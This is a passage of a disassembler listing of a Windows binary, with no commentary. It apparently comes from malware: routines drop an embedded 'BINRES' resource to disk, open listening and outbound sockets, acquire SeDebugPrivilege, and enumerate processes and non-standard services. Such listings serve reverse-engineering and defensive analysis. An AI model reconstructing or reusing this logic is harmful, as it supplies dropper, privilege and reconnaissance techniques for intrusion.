dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB68, ecx push 100h mov ecx, offset byte_44794F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 28D0000h nop xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx nop call near ptr 2861CD4h mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi call near ptr 27706BAh nop mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi call near ptr 2780000h nop push edi push esi mov ebp, eax nop call near ptr 278030Ch push ebp mov esi, eax nop call near ptr 278076Fh push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx call near ptr 77C40AB1h nop add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi call near ptr 71AB4FD4h nop test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h dd 500D75C0h, 95E89056h, 0C6022CFFh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 282071Eh loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h call near ptr 2910000h nop mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 28C0000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443B04 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23B06A0h, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28E086Ch mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 2880457h mov esi, eax test esi, esi jnz short loc_420350 push ebx call near ptr 28F0000h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 2760A2Ch push eax nop call near ptr 28A1625h mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 2760A89h push eax call near ptr 28A1C77h nop test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28B0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27A08E0h cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2770000h mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 26F0000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 2861CD4h test eax, eax mov dword_50BB70, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 27C07DCh nop test eax, eax mov dword_50BB70, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB74, eax mov eax, dword_50BB70 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB70 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB78, eax call esi mov ecx, dword_50BB74 mov dword_50BB7C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB78 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB78 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB7C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 282071Eh loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx call near ptr 28E086Ch nop mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44433C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call near ptr 77C2C407h nop add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28C0000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp nop call near ptr 28F0000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 call near ptr 2861CD4h nop push eax nop call near ptr 286120Fh mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, 